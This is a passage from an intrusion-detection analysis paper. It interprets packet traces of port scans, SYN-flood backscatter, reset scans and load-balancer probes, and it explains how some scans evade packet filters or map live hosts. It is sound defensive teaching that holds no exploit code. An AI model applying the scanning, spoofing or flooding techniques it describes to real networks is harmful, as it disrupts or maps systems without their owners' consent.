2582494230:2582494230(0) win 16324 (DF) (ttl 52, id 792) 22:08:39.307209 cable.modem.net.1169 > dns.one.org.31337: S 2590958670:2590958670(0) win 16324 (DF) (ttl 52, id 793) 22:08:39.344336 cable.modem.net.1173 > dns.one.org.21: S 2593455289:2593455289(0) win 16324 (DF) (ttl 52, id 797) Again, systematically: - IPs: cable.modem.net is concentrating on two hosts we monitor: dns.one.org and dns.two.org. Although not shown, each host is hit with the second set of SYN packets three total times. - Ports: The first half of the activity targets tcp ports 23 (telnet) and 143 (imap). The second half involves those ports plus 111 (SUN Remote Procedure Call, or portmapper), 79 (finger), 53 (dns), 31337 (Back Orifice tcp port), and 21 (ftp). All are of use to a potential intruder. Of more interest, perhaps, are the source ports involved. Note the stealthy nature of the first stage, where source port is set to destination port, in an attempt to confuse packet-filtering devices. The second stage is less cunning, but more analyst-friendly. Observe the orderly incrementation of ports used to contact dns.two.org, starting with 1146, then 1147, then 1149. Where is 1148? Most likely this packet was destined for a port not monitored by our NIDS. It was probably not lost, as the traffic to dns.two.org shows. Here, we see source port 1162, then 1163, then 1165 (another port missing!) Using this "gap-counting" technique, we can assume packets were sent to at least four ports not watched by our NIDS. This does not count the four "missing" ports between port 781 and 786, where attention shifts from dns.two.org to dns.one.org! - Flags: The first half of the event involves no flags set, with RST ACK packets sent back from the targets. These initial packets do not occur naturally unless a preceeded by the SYN / SYN ACK exchange of the three way handshake. The RST ACK packets are assumed to be returned from closed ports, as an open port would usually remain silent. (This is the default for the Linux TCP/IP stack, as documented by Vicki Irwin and Hal Pomeranz. Your mileage may vary.) Interestingly, the second half of the event shows only SYN packets sent, with zero replies. This may indicate the cablem.modem.nets initial packets, with the ACK bit set, successfully evaded a packet filtering device. This device, however, probably intercepted the later packets with the SYN bit set. - Traffic direction/activity: All traffic seems to involve a prompt by cable.modem.net, followed by an indication that the target ports are closed. - Time: The entire event elapses in six seconds, with an apparent five second delay between the ACK and SYN stages. - Window size, TTL, and other features: We see a wide variance between the TTL 30 of stage one and TTL 52 of stage two. As these packets presumably come from the same host, we assume the tool generate the packets sets initially TTLs differently for each technique. Stage one shows IP id values each forged to be 39426. This may provide a signature clue for future encounters with this tool. The IP id values increment nicely in stage two, matching the TCP port technique mentioned earlier. Window sizes for stage one (1028) contrast strongly with stage two (16324). - Bottom line: We appear to have an ACK scan combined with some sort of SYN scan. The packet filtering device which allows ACK packets but prevents answers to the SYN packets keeps us from knowing more about stage two. This case emphasizes the need to understand the operation of your IDS, as it helped us to recognize the port "gaps" and their possible relevance to our investigation. [ To Flood or Not to Flood ] Now we turn to a core issue of this paper -- the SYN flood. Anyone unfamiliar with SYN floods would greatly benefit by reading Routes definitive work on the subject in Phrack 48. Essentially, a SYN flood is a denial of service attempt, where an attacker attempts to fill the backlog queue of a victim machines TCP server. To prevent the victim from tearing down these memory-consuming connections, the attacker spoofs a source IP, choosing one which presumably does not exist. The victim of a properly executed SYN flood cannot reply to the spoofed source. An attacker might take these actions to attempt a TCP hijack, as Kevin Mitnick did against the login port of a machine owned by Tsutomu Shimomura. By shutting down the TCP service of a host trusted by Shimomura, Mitnick was able to impersonate that host without it interfering in his communications with Shimomuras box. A SYN flood consists of dozens of SYN packets sent from a spoofed source IP, or multiple spoofed source IPs, to a victim. Note the high frequency of packets sent: 11:46:14.212003 spoofed.ip.one.1053 > flood.victim.com.23: S 322286:322286(0) win 8192 (DF) 11:46:14.598008 spoofed.ip.one.1054 > flood.victim.com.23: S 322286:322286(0) win 8192 (DF) 11:46:14.975522 spoofed.ip.one.1055 > flood.victim.com.23: S 322286:322286(0) win 8192 (DF) etc... The desperate victim tries to reply to the spoofed source IP. If the spoofed host truly does not exist, the victim is out of luck. But what if the spoofed source does exist? Below is what an intrusion detection analyst at a site owning the spoofed IP might see, if the target port is open and behaves as traditionally expected: 11:46:14.765043 flood.victim.com.23 > spoofed.ip.one.1053: S 4137483508:4137483508(0) ack 322287 win 8192 11:46:14.891108 flood.victim.com.23 > spoofed.ip.one.1054: S 4164828806:4164828806(0) ack 322287 win 8192 11:46:15.019029 flood.victim.com.23 > spoofed.ip.one.1055: S 4192020032:4192020032(0) ack 322287 win 8192 etc... Why would an you, an innocent bystander, witness such an act? The answer is: you own spoofed.ip.one, which may or may not exist! Why would anyone spoof your IPs? (Hint: do your routers or firewalls block ICMP?) In most cases, SYN flood utilities allow the attacker to select a range of IPs for the spoofed source, or it will generate its own list. The utility will ping that range, trying to determine if any hosts exist. If no ICMP echo replies are heard, the SYN flood program assumes the IPs do not exist and are ideal spoofed sources. However, if those IPs belong to hosts behind a router or firewall denying ICMP, they will not respond to the ICMP echo request. This "flaw" in choosing good IPs to spoof cause much of the so-called "third party" traffic in this paper. Essentially, the site you monitor may become a third party to a SYN flood, by virtue of having blocked ICMP. The preceeding example appears straightforward. A single IP is spoofed, and the sender increments his source ports in an orderly manner (1053, 1054, 1055). The trace as seen by the innocent bystander shows the flood victims open port 23 replying with SYN ACK packets, in an attempt to establish a TCP three-way handshake. What happens if the target port of a SYN flood is closed? The following was confirmed as a SYN flood by the author, who observed the traffic, contacted victim.isp.net, and learned the ISP was indeed SYN flooded on the date and time in question. 20:31:15.794717 victim.isp.net.68 > spoofed.ip.one.29470: R 0:0(0) ack 723645348 win 0 (ttl 242, id 40923) 20:31:20.190800 victim.isp.net.68 > spoofed.ip.one.48926: R 0:0(0) ack 960212644 win 0 (ttl 242, id 56829) 20:31:24.622496 victim.isp.net.68 > spoofed.ip.one.2846: R 0:0(0) ack 1196779940 win 0 (ttl 242, id 7276) 20:31:37.634797 victim.isp.net.68 > spoofed.ip.one.61214: R 0:0(0) ack 1906481828 win 0 (ttl 242, id 54177) 20:31:42.021607 victim.isp.net.68 > spoofed.ip.one.15134: R 0:0(0) ack 2143049124 win 0 (ttl 242, id 4485) 20:31:17.754903 victim.isp.net.77 > spoofed.ip.two.44376: R 0:0(0) ack 1861342051 win 0 (ttl 242, id 25377) 20:31:22.054453 victim.isp.net.77 > spoofed.ip.two.13400: R 0:0(0) ack 454770019 win 0 (ttl 242, id 40905) 20:31:26.394198 victim.isp.net.77 > spoofed.ip.two.47960: R 0:0(0) ack 1195681635 win 0 (ttl 242, id 56409) 20:31:39.370211 victim.isp.net.77 > spoofed.ip.two.20568: R 0:0(0) ack 1270932835 win 0 (ttl 242, id 38330) 20:31:43.735814 victim.isp.net.77 > spoofed.ip.two.55128: R 0:0(0) ack 2011844451 win 0 (ttl 242, id 54069) Here we see a SYN flood directed against two closed ports, 68 (boot-p) and 77 (RJE private service). (Although many other ports were targetted, these two are shown as examples. Since spoofed.ip.one and spoofed.ip.two occupied separate class C networks, I chose to separate the two traces.) Observe the two closed ports return RST ACK packets to the spoofed source IPs. The ACK numbers appear random, as do the ports of the two spoofed IPs. Furthermore, a fairly high packet rate is seen. This may not always be true from the vantage point of the intrusion detection analyst. If the SYN flood tool does not spoof IPs which are all monitored by your IDS, you may not get a complete picture of the event. (And, from the perspective of the victim, more than one organization appears to be the originator of the attack!) For example: 05:23:07.968535 victim.isp.net.22 > spoofed.ip.one.10180: R 0:0(0) ack 1 win 0 (ttl 53, id 57295) 05:23:55.594577 victim.isp.net.23 > spoofed.ip.two.64876: R 0:0(0) ack 1 win 0 (ttl 53, id 62163) 05:27:36.116580 victim.isp.net.23 > spoofed.ip.three.48279: R 0:0(0) ack 1 win 0 ttl 53, id 18796) 05:32:34.963053 victim.isp.net.23 > spoofed.ip.four.55483: R 0:0(0) ack 1 win 0 (ttl 53, id 48851) 05:33:01.308930 victim.isp.net.23 > spoofed.ip.five.48412: R 0:0(0) ack 1 win 0 (ttl 53, id 51512) 05:35:12.400935 victim.isp.net.22 > spoofed.ip.six.57306: R 0:0(0) ack 1 win 0 (ttl 53, id 64704) 05:36:40.823582 victim.isp.net.22 > spoofed.ip.seven.46819: R 0:0(0) ack 1 win 0 (ttl 53, id 8090) 05:38:50.740540 victim.isp.net.23 > spoofed.ip.eight.29217: R 0:0(0) ack 1 win 0 (ttl 53, id 21089) This trace shows several seconds elapsing between each packet as a malicious Internet user spoofs our IPs, SYN flooding ports 22 (ssh) and 23 (telnet) at victim.isp.net. Given the time delay, it is reasonable to assume the attacker is also spoofing IPs not monitored by our IDS, and could be truly pounding the victim. [ ACK 674711610 and 674719802: The Mystery Tool? ] The following cases involve specific signatures which many of you may recognize. Steven Northcutt notes two acknowledgement numbers which he believes characterize a tool which conducts "reset scans." (For my take on the subject, see "To See or Not to See" below.) Here I outline two confirmed cases showing the 674711610 and 674719802 acknowledgement numbers as third party effects of SYN floods. Observe the following trace: 06:20:51.570058 firstclass.server.edu.510 > spoofed.ip.one.7002: R 0:0(0) ack 674711610 win 0 (ttl 116, id 48680) 23:30:53.567215 firstclass.server.edu.510 > spoofed.ip.two.32771: R 0:0(0) ack 674711610 win 0 (ttl 117, id 25440) 13:55:27.737433 firstclass.server.edu.510 > spoofed.ip.three.6666: R 0:0(0) ack 674711610 win 0 (ttl 118, id 54468) This trace seemed to conform to the model of a third party effect of a SYN flood. However, there is an extreme delay in the time between packets. This could be the result of a wide variety of spoofed sources, and I saw only a few. I guessed firstclass.server.edu to be a target host. These packets looked like responses, where port 510 was closed, or at least some mechanism was in place to resist a SYN flood. These three packets are a sample of the total traffic collected. Researching port 510, I found it is the "firstclass" service, registered by SoftArc. SoftArc sells a product called the FirstClass Intranet Server, which can provide email, collaboration, and other services. The source IP belonged to a university, and the hostname resolution included the word "firstclass." It seemed that if a malicious Internet user wanted to perform a denial of service against this university, it might make sense to target port 510 (firstclass) on the schools FirstClass server. Given the presence of RST ACK packets from port 510 to multiple IPs, it seemed the schools system was resisting my theorized SYN flood, perhaps by closure of port 510. I contacted the school and confirmed their FirstClass server had been under a denial of service attack at the time and date noted in the packets sent to my hosts. The attacker was SYN flooding ports 68 (boot-p) and 510 (firstclass). The firstclass.server.edu system was not compromised and it was not originating the packets sent to my hosts. It was an innocent victim. The ACK 674711610 was generated by the tool used to SYN flood the hapless host. (To be precise, the packets sent by the tool sent packets with initial sequence numbers of 674711609, to which firstclass.server.edu replied with RST ACK 674711610.) While I specifically confirmed this case as being the third party effect of a SYN flood against an innocent victim, I have found dozens of similar traffic involving ACK 674711610. Here are two cases: the first with the SYN flooded ports open (6666 and 6667), replying SYN ACK; the second with the SYN flooded ports closed (23), replying RST ACK. SYN flooded port open: 05:41:36.772836 major.irc.host.6666 > spoofed.ip.one.1578: S 1822395560:1822395560(0) ack 674711610 win 4096 (DF) 05:41:53.834459 major.irc.host.6666 > spoofed.ip.two.1578: S 311457256:311457256(0) ack 674711610 win 4096 (DF) 05:42:00.765914 major.irc.host.6667 > spoofed.ip.three.1433: S 1074583123:1074583123(0) ack 674711610 win 61440 (DF) 05:42:08.955560 major.irc.host.6666 > spoofed.ip.four.1433: S 2056091293:2056091293(0) ack 674711610 win 4096 (DF) 05:43:08.425388 major.irc.host.6666 > spoofed.ip.two.1578: S 311457256:311457256(0) ack 674711610 win 4096 (DF) 05:43:09.175868 major.irc.host.6666 > spoofed.ip.one.1578: S 1822395560:1822395560(0) ack 674711610 win 4096 (DF) 05:43:09.816458 major.irc.host.6666 > spoofed.ip.four.1433: S 2056091293:2056091293(0) ack 674711610 win 4096 (DF) 05:43:10.558625 major.irc.host.6667 > spoofed.ip.three.1433: S 1074583123:1074583123(0) ack 674711610 win 61440 (DF) SYN flooded port closed: 12:52:10.879563 auction.this.com.23 > spoofed.ip.one.1985: R 0:0(0) ack 674711610 win 0 12:54:37.882708 auction.this.com.23 > spoofed.ip.one.1554: R 0:0(0) ack 674711610 win 0 12:55:38.961649 auction.this.com.23 > spoofed.ip.one.1409: R 0:0(0) ack 674711610 win 0 Again, note the time delay between packets. This indicates not all the IPs spoofed by the attacker belonged to our monitored network. The next trace prompted a similar investigation: 10:20:52.097570 commercial.web.server.21 > spoofed.ip.one.1485: R 0:0(0) ack 674719802 win 0 (ttl 50, id 1034) 10:22:28.994103 commercial.web.server.23 > spoofed.ip.one.1485: R 0:0(0) ack 674719802 win 0 (ttl 50, id 38438) 10:25:43.004888 commercial.web.server.53 > spoofed.ip.one.1485: R 0:0(0) ack 674719802 win (ttl 50, id 43626) 10:20:40.594667 commercial.web.server.21 > spoofed.ip.two.2104: R 0:0(0) ack 674719802 win 0 (ttl 45, id 14598) 10:22:17.576229 commercial.web.server.23 > spoofed.ip.two.2104: R 0:0(0) ack 674719802 win 0 (ttl 45, id 11298) 10:25:31.402693 commercial.web.server.53 > spoofed.ip.two.2104: R 0:0(0) ack 674719802 0 (ttl 45, id 33894) 10:20:31.126616 commercial.web.server.21 > spoofed.ip.three.1667: R 0:0(0) ack 674719802 win 0 (ttl 44, id 35589) 10:22:08.074117 commercial.web.server.23 > spoofed.ip.three.1667: R 0:0(0) ack 674719802 win 0 (ttl 44, id 20256) 10:25:22.038942 commercial.web.server.53 > spoofed.ip.three.1667: R 0:0(0) ack 674719802 win 0 (ttl 44, id 14437) This source IP belonged to a commercial web site. While the three "source" ports, 21 (ftp), 23 (telnet), and 53 (dns) made little sense as true source ports, they might be good candidates as targets of a SYN flood. Sure enough, after contacting the web site, the system administrator told me a hired security consulancy had tested the web server with a denial of service attack at the exact date and time indicated by my logs. Therefore, it is likely similar traces with ACK 674719802 are also the result of an attacker spoofing our IPs to SYN flood a separate victim. I do not believe these packets are generated to scan the destination IPs (here listed as spoofed.ip.xxxx). As with ACK 674711610, I have found many examples of third party effects of SYN floods, where innocent victims are sending response packets to spoofed source IPs. SYN flooded port open: 22:23:08.281683 biology.web.com.23 > spoofed.ip.one.1502: S 2894258800:2894258800(0) ack 674719802 win 8192 22:25:46.030135 biology.web.com.23 > spoofed.ip.one.2154: S 4154715243:4154715243(0) ack 674719802 win 8192 22:26:24.456103 biology.web.com.23 > spoofed.ip.one.2026: S 159261598:159261598(0) ack 674719802 win 8192 22:29:38.265734 biology.web.com.23 > spoofed.ip.one.1838: S 1866996756:1866996756(0) ack 674719802 win 8192 SYN flooded port closed: 22:34:47.629194 van.smack.net.21 > spoofed.ip.two.2031: R 0:0(0) ack 674719802 win 0 22:36:01.282720 van.smack.net.21 > spoofed.ip.two.1071: R 0:0(0) ack 674719802 win 0 22:36:11.483963 van.smack.net.21 > spoofed.ip.two.2143: R 0:0(0) ack 674719802 win 0 At this time I am convinced that packets bearing ACK 674711610 and 674719802 are most likely the third party effects of a SYN flood against an innocent victim. This has been shown in my experience by contacting the sites which are the "sources" of these packets, and investigating their associated network histories. [ To See or Not to See ] We mentioned earlier the importance of knowing the internal logic of a NIDS. We should wonder: - What does it see? - What does it not see? - What prompts it to alert? - What does it save for future research? - How long is the data archived? Keeping these questions in mind, consider the following traffic. I show two R ACK packets, but dozens of a similar nature were involved. I select only two to make a point: 11:04:08.179097 irc_host.popular.net.57728 > slab2.concord.net.1524: R 0:0(0) ack 674719802 win 0 (ttl 52, id 41449) 11:02:54.896930 irc_host.popular.net.2645 > brick9.lowell.net.1524: R 0:0(0) ack 674719802 win 0 (ttl 48, id 21070) This is what your NIDS shows you. You may initially be concerned by the apparent destination port of this activity, 1524 (ingreslock). This port is associated with a default backdoor installed by an exploit against the Calendar Manager Service Daemon, rpc.cmsd. Is someone trying to determine if port 1524 is open on these two hosts? Thankfully, you are not the average analyst. In addition to relying on your NIDS, you also run the sniffer Snoop on hosts monitoring the concord.net and lowell.net networks. They capture a "wide view" of network traffic, looking at all 65535 TCP and UDP ports, but only storing data for a short time. Perhaps you use this program to "tune" your IDS to take closer looks at other ports not monitored by default, like 1524 may be. If you act quickly enough, perhaps your Snoop data can help explain these strangely targetted RST ACK packets? (Note it is essential to know how long your data is archived, and in what format!) The Snoop engine at concord.net reveals: irc_host.popular.net -> slab30.concord.net TCP D=2394 S=39232 Rst Ack=674719802 Win=0 irc_host.popular.net -> slab73.concord.net TCP D=1505 S=55500 Rst Ack=674719802 Win=0 irc_host.popular.net -> slab251.concord.net TCP D=1853 S=23199 Rst Ack=674719802 Win=0 irc_host.popular.net -> slab14.concord.net TCP D=2464 S=35067 Rst Ack=674719802 Win=0 irc_host.popular.net -> slab52.concord.net TCP D=1834 S=2834 Rst Ack=674719802 Win=0 irc_host.popular.net -> slab202.concord.net TCP D=1834 S=35735 Rst Ack=674719802 Win=0 irc_host.popular.net -> slab113.concord.net TCP D=1294 S=45368 Rst Ack=674719802 Win=0 irc_host.popular.net -> slab172.concord.net TCP D=2423 S=9196 Rst Ack=674719802 Win=0 irc_host.popular.net -> slab48.concord.net TCP D=1623 S=40104 Rst Ack=674719802 Win=0 Notice the new ports involved! The NIDS only alerted on the connection to port 1524 at slab2.concord.net, but here we see packets straight from the wire, with many other ports observed. Take a look at a snapshot of Snoop data from the NIDS engine watching the lowell.net network: irc_host.popular.net -> brick91.lowell.net TCP D=1505 S=64196 Rst Ack=674719802 Win=0 router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host) irc_host.popular.net -> brick177.lowell.net TCP D=2464 S=17017 Rst Ack=674719802 Win=0 router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host) irc_host.popular.net -> brick27.lowell.net TCP D=1223 S=1631 Rst Ack=674719802 Win=0 router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host) irc_host.popular.net -> brick145.lowell.net TCP D=1223 S=4875 Rst Ack=674719802 Win=0 irc_host.popular.net -> brick23.lowell.net TCP D=1882 S=6298 Rst Ack=674719802 Win=0 irc_host.popular.net -> brick203.lowell.net TCP D=1882 S=42542 Rst Ack=674719802 Win=0 router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host) Again, notice the multitude of source and destination ports listed. While these ports might not cause the NIDS to alert, they do help describe the total level of activity on the lowell.net network. So exactly what is happening? Observe lowell.net is allowing outbound ICMP messages. The four (Bad host) messages indicate some hosts on lowell.net do not exist, which could help a malicious scanner use an "inverse mapping" technique to locate existing hosts. This brings us to the controversial notion of "reset scans." The purpose of a reset scan is to determine the presence of live hosts on a network. A technique known as inverse mapping can be used to find live hosts on a network which allows ICMP through its boundary, as the lowell.net router appears to do. If an attacker sends a RST ACK packet to a host which does not exist, the destination networks router should send an ICMP host unreachable message. If the router is silent, we assume the target host MIGHT exist. Again, this technique relies on routers passing ICMP. As no ICMP destination unreachable messages are passed from the concord.net network for packets to nine hosts, it is likely ICMP messages are not allowed from the boundary concord.net router. A reset scan of concord.net would not yield nothing but false positive results to a reconnaissance gatherer. As lowell.net does allow ICMP outbound, a scanner could attempt to map that network. Reset scans can not be used to determine if ports are open on target machines. Why? Both open and closed ports should remain silent if a RST ACK pacekt is received. While not all vendors may implement this aspect of the RFC appropriately, most attempts to exploit these differences would be swamped by the false positive rate. Therefore, it was highly unlikely in the first place that any malicious scanner would be trying to check port 1524s status using RST ACK packets. Furthermore, observe the ACK 674719802. This is representative of the third party SYN flood packets noted earlier. Taking these factors collectively, it is highly probable these packets are the result of a malicious Internet user spoofing concord.net and lowell.net IPs to SYN flood irc_host.popular.net. We are observing the response packets from the innocent victim. This case demonstrates the need to understand what your NIDS does and does not collect. The last example alerted on port 1524, but provided data for a large portion of unrelated ports. This allowed us to at least understand the activity was not solely a "probe" for port 1524, and was most likely third party traffic not directed maliciously against our networks. How do you interpret the trace below? 07:52:22.761612 cmsd.exploiter.net.1896 > mybox1.domain.net.1524: S 821595473:821595473(0) win 32428 (DF) 07:52:22.766387 mybox1.domain.net.1524 > cmsd.exploiter.net.1896: R 0:0(0) ack 821595474 win 0 (DF) 07:52:23.006341 cmsd.exploiter.net.1897 > mybox2.domain.net.1524: S 822457122:822457122(0) win 32428 (DF) 07:52:23.010838 mybox2.domain.net.1524 > cmsd.exploiter.net.1897: R 0:0(0) ack 822457123 win 0 (DF) 07:52:23.239994 cmsd.exploiter.net.1898 > mybox3.domain.net.1524: S 825883544:825883544(0) win 32428 (DF) 07:52:23.243345 mybox3.domain.net.1524 > cmsd.exploiter.net.1898: R 0:0(0) ack 825883545 win 0 (DF) 07:52:23.487389 cmsd.exploiter.net.1899 > mybox4.domain.net.1524: S 820436438:820436438(0) win 32428 (DF) 07:52:23.492224 mybox4.domain.net.1524 > cmsd.exploiter.net.1899: R 0:0(0) ack 820436439 win 0 (DF) 07:52:23.720158 cmsd.exploiter.net.1900 > mybox5.domain.net.1524: S 826588670:826588670(0) win 32428 (DF) 07:52:23.723228 mybox5.domain.net.1524 > cmsd.exploiter.net.1900: R 0:0(0) ack 826588671 win 0 (DF) Yes, thats a straight-forward SYN scan for the cmsd backdoor port. These scans are in the wild, but not very frequent as of writing this paper. I included it to display a clear example of someone actively searching for port 1524, and finding all hosts have it closed. [ A Final Case ] I will conclude with a set of interesting traces which initially stumped me. With the help of my colleagues, and especially Mark Shaw, I pieced together the following case. Assume all the activity was registered by a single NIDS monitoring name.server.net. 09:22:56.960442 tester.newjersey.net.2100 > name.server.net.53: S 2070441966:2070442030(64) win 2048 (ttl 246, id 34960) 09:22:56.960555 tester.newjersey.net.2101 > name.server.net.53: S 1884680148:1884680212(64) win 2048 (ttl 246, id 8490) 09:22:56.960669 tester.newjersey.net.2102 > name.server.net.53: S 938156752:938156816(64) win 2048 (ttl 246, id 17966) 09:26:30.485472 tester.newjersey.net.2100 > name.server.net.53: S 593222604:593222668(64) win 2048 (ttl 246, id 10971) 09:26:30.485586 tester.newjersey.net.2101 > name.server.net.53: S 171736880:171736944(64) win 2048 (ttl 246, id 6989) 09:26:30.486219 tester.newjersey.net.2102 > name.server.net.53: S 1199445751:1199445815(64) win 2048 (ttl 246, id 47166) 09:24:13.867591 tester.brazil.net.2100 > name.server.net.53: S 795939539:795939603(64) win 2048 (ttl 241, id 53652) 09:24:13.868783 tester.brazil.net.2101 > name.server.net.53: S 2049322111:2049322175(64) win 2048 (ttl 241, id 13883) 09:24:13.873062 tester.brazil.net.2102 > name.server.net.53: S 1779866028:1779866092(64) win 2048 (ttl 241, id 14298) 09:27:16.429927 tester.brazil.net.2100 > name.server.net.53: S 931465437:931465501(64) win 2048 (ttl 241, id 31626) 09:27:16.430511 tester.brazil.net.2102 > name.server.net.53: S 432021209:432021273(64) win 2048 (ttl 241, id 61920) 09:28:04.337763 tester.brazil.net.2600 > name.server.net.53: S 535782194:535782258(64) win 2048 (ttl 241, id 7673) 09:28:04.339246 tester.brazil.net.2601 > name.server.net.53: S 1049573717:1049573781(64) win 2048 (ttl 241, id 37399) 09:28:04.339383 tester.brazil.net.2602 > name.server.net.53: S 148280449:148280513(64) win 2048 (ttl 241, id 25525) 09:23:26.765186 tester.argentina.net.2100 > name.server.net.53: S 1616673589:1616673653(64) win 2048 (ttl 241, id 21017) 09:23:26.765744 tester.argentina.net.2101 > name.server.net.53: S 1351385345:1351385409(64) win 2048 (ttl 241, id 9204) 09:23:26.766781 tester.argentina.net.2102 > name.server.net.53: S 184647009:184647073(64) win 2048 (ttl 241, id 8397) 09:24:26.275614 tester.argentina.net.2100 > name.server.net.53: S 1577583159:1577583223(64) win 2048 (ttl 241, id 10735) 09:24:26.276245 tester.argentina.net.2101 > name.server.net.53: S 1874158503:1874158567(64) win 2048 (ttl 241, id 44674) 09:24:26.276922 tester.argentina.net.2102 > name.server.net.53: S 1571547407:1571547471(64) win 2048 (ttl 241, id 20440) 09:25:42.915131 tester.argentina.net.2100 > name.server.net.53: S 988147012:988147076(64) win 2048 (ttl 241, id 41923) 09:25:42.915743 tester.argentina.net.2101 > name.server.net.53: S 819957179:819957243(64) win 2048 (ttl 241, id 40998) 09:25:42.916419 tester.argentina.net.2102 > name.server.net.53: S 1343568781:1343568845(64) win 2048 (ttl 241, id 22882) 09:28:48.579580 tester.argentina.net.2100 > name.server.net.53: S 120895333:120895397(64) win 2048 (ttl 241, id 15515) 09:28:48.579698 tester.argentina.net.2101 > name.server.net.53: S 1822910275:1822910339(64) win 2048 (ttl 241, id 50576) 09:28:48.580506 tester.argentina.net.2102 > name.server.net.53: S 142062086:142062150(64) win 2048 (ttl 241, id 6874) Let us apply structured analysis to classify this activity. - IPs: We see three separate machines -- tester.newjersey.net, tester.brazil.net, and tester.argentina.net -- attempting to connect to a single machine, name.server.net. You cannot determine anything more about the three initiating IPs, but name.server.net (you guessed it) is your name server. - Ports: On the initiating side, we see a possible pattern. From each source IP, ports 2100, 2101, and 2102 are used. The tester.brazil.net box also employs 2600 (greets), 2601, and 2602. All destination ports are 53 (domain name service). Normal DNS traffic typically employs UDP, while zone transfers are done via TCP. Note BIND versions 8.2 and higher offer name queries via TCP. This process complicates our analysis and must be saved for a future paper. - Flags: Every connection is a single SYN. This would indicate an attempt to begin the three-way handshake to exchange data, or perhaps start a scan. - Traffic direction/activity: All traffic is sent from one of the three hosts to name.server.net. No replies are seen. Each source packet seems to contain 64 bytes of data. This differs from the very first trace we presented, showing an exchange between ftp.client.org and ftp.server.org. In the SYN packet which started that transfer, no data was passed. We can only guess at the data contained, as it was not saved with the rest of the TCP packet. For comparisons sake, bbserve the difference in the second line of each trace: Case 1: No data in SYN packet: 14:05:27.083238 ftp.client.org.1057 > ftp.server.edu.21: S 1484414:1484414(0) Case 2: 64 bytes in SYN packet: 09:22:56.960442 tester.newjersey.net.2100 > name.server.net.53: S 2070441966:2070442030(64) - Time: All of the packets are sent between 09:22 and 09:28 on the same day. This indicates some level of coordination. - Window size, TTL, and other features: Window size for each packet is 2048 bytes. TTLs for the two South American hosts are smaller than the New Jersey host, indicating they may have hopped through more routers on their way to your American-based name.server.net. This is to be expected if each host sets its initial TTL to the same value, such as 255. - Bottom line: Why would three hosts all try to connect to one of our name servers, nearly simultaneously? Could they be responding to an action by one of our hosts? Is this activity malicious? After discussing the situation with my colleagues, I formed a theory and sent emails to the points of contact listed in ARIN information for the three hosts. One of the three responded and explained the situation. The three IPs are part of a system which performs "load balancing" and dynamic redirection to a commercial web site. When a customer first tries to connect to the web site, he asks his name server to do a forward DNS lookup to resolve the web URL to an IP address. The name server providing resolutions for the web URL answers the customers request, then forwards the IP of the customers name server to a load balancing "director." This director tells tester.newjersey.net, tester.brazil.net, and tester.argentina.net to take measurements to decide which of their three geographically associated web servers is "closest" to the client. In this case, closest means "lowest latency," as measured by server-to-client round trip times (RTTs). Due to network traffic, one of the web servers can respond faster than its brother web servers. By dynamically redirecting a web query, the load balancing system can achieve faster service and better server performance. Furthermore, each caches name server IPs and periodically revisits them to anticipate future client queries. The goal of the system is to provide the quickest response time to the web browsing client while efficiently managing activity on the web server. While some in the security community view this activity as a malicious attempt to map the customers network, I see it as a realistic attempt to serve the hundreds of thousands to millions of customers who visit the more popular web sites each day. I found this particular load balancing system begins its tests by sending ICMP packets. If ICMP is denied by the clients routers or firewalls, the load balancer then attempts to connect to TCP port 53 on the clients name server. This explains the packets we are investigating. Since the name server in our example did not appear to respond, we can assume the load balancing program did not work out as planned, unfortunately. What might be the next step? The network engineer responsible for these load balancers told me a final, more aggressive latency test can be made. Here the system would essentially scan the clients name server for an open port, then use the replying SYN ACK packet to test response time. Yes, this would look exactly like a multiple service port scan! For this reason, the network engineer said he has disabled this feature. Have you seen activity fitting this description against your name server? The final trace is from another load balancing system. It uses a different packet type to do the job. Rather than SYN packets with 64 bytes of data, it sends SYN ACKs with no data. This activity was recorded after a visit to a site which employs the load balancing products. Neither the client (X) nor the web server (Y) are shown below, but four hosts involved with load balancing are included. They are: name1.server.net: DNS for web browsing client X name2.server.net: DNS for web browsing client X mayfield.ohio.net: Load balancer 1 for web server Y greenbelt.maryland.net: Load balancer 2 for web server Y This is the course of events: 1. Web browsing client X tries to connect to web server Y. 2. The clients TCP/IP suite employs DNS name1.server.net to associate IP with the name of web server Y. 3. When the DNS serving web server Y is contacted, it passes the clients IP to mayfield.ohio.net and greenbelt.ohio.net. At this point the web server and its load balancing system may try to redirect the web browser to the closest server. This does not have to happen immediately, but it will most likely happen upon a return visit. 4. At regular intervals following the web browsing visit (and perhaps during the visit), mayfield.ohio.net and greenbelt.ohio.net try to contact the clients DNS, which is name1.server.net. 5. At some point another system on client Xs network (or client X himself) tries to connect to web server Y, but uses name2.server.net. The same caching of name2.server.nets IP by mayfield.ohio.net and greenbelt.ohio.net occurs. 6. The traffic below transpires. We see attempts by the two load balancers to contact the two name servers, measure the round trip time (RTT), and provide more responsive service to future web visitors on client Xs network. Here is the first load balancing server in action: 06:01:15.001304 mayfield.ohio.net.44132 > name1.server.net.53: S 10399587:10399587(0) ack 10399586 win 4128 (ttl 241, id 0) 06:01:16.999359 mayfield.ohio.net.44132 > name1.server.net.53: S 10399587:10399587(0) ack 10399586 win 4128 (ttl 241, id 0) 06:01:17.498365 mayfield.ohio.net.44133 > name2.server.net.53: S 10399588:10399588(0) ack 10399587 win 4128 (ttl 241, id 0) 06:01:18.528689 mayfield.ohio.net.44135 > name1.server.net.53: S 10399590:10399590(0) ack 10399589 win 4128 (ttl 241, id 0) 06:01:20.524742 mayfield.ohio.net.44135 > name1.server.net.53: S 10399590:10399590(0) ack 10399589 win 4128 (ttl 241, id 0) ... (thirteen similar packets deleted for clarity) 06:01:58.754918 mayfield.ohio.net.44172 > name2.server.net.53: S 10399627:10399627(0) ack 10399626 win 4128 (ttl 241, id 0) Here is the second load balancing server, simultaneously testing the same two name servers: 06:01:14.967214 greenbelt.maryland.net.63604 > name1.server.net.53: S 34541003:34541003(0) ack 34541002 win 4128 (ttl 249, id 0) 06:01:17.461642 greenbelt.maryland.net.63607 > name2.server.net.53: S 34541006:34541006(0) ack 34541005 win 4128 (ttl 249, id 0) 06:01:18.503320 greenbelt.maryland.net.63609 > name1.server.net.53: S 34541008:34541008(0) ack 34541007 win 4128 (ttl 249, id 0) 06:01:19.464217 greenbelt.maryland.net.63607 > name2.server.net.53: S 34541006:34541006(0) ack 34541005 win 4128 (ttl 249, id 0) 06:01:20.682888 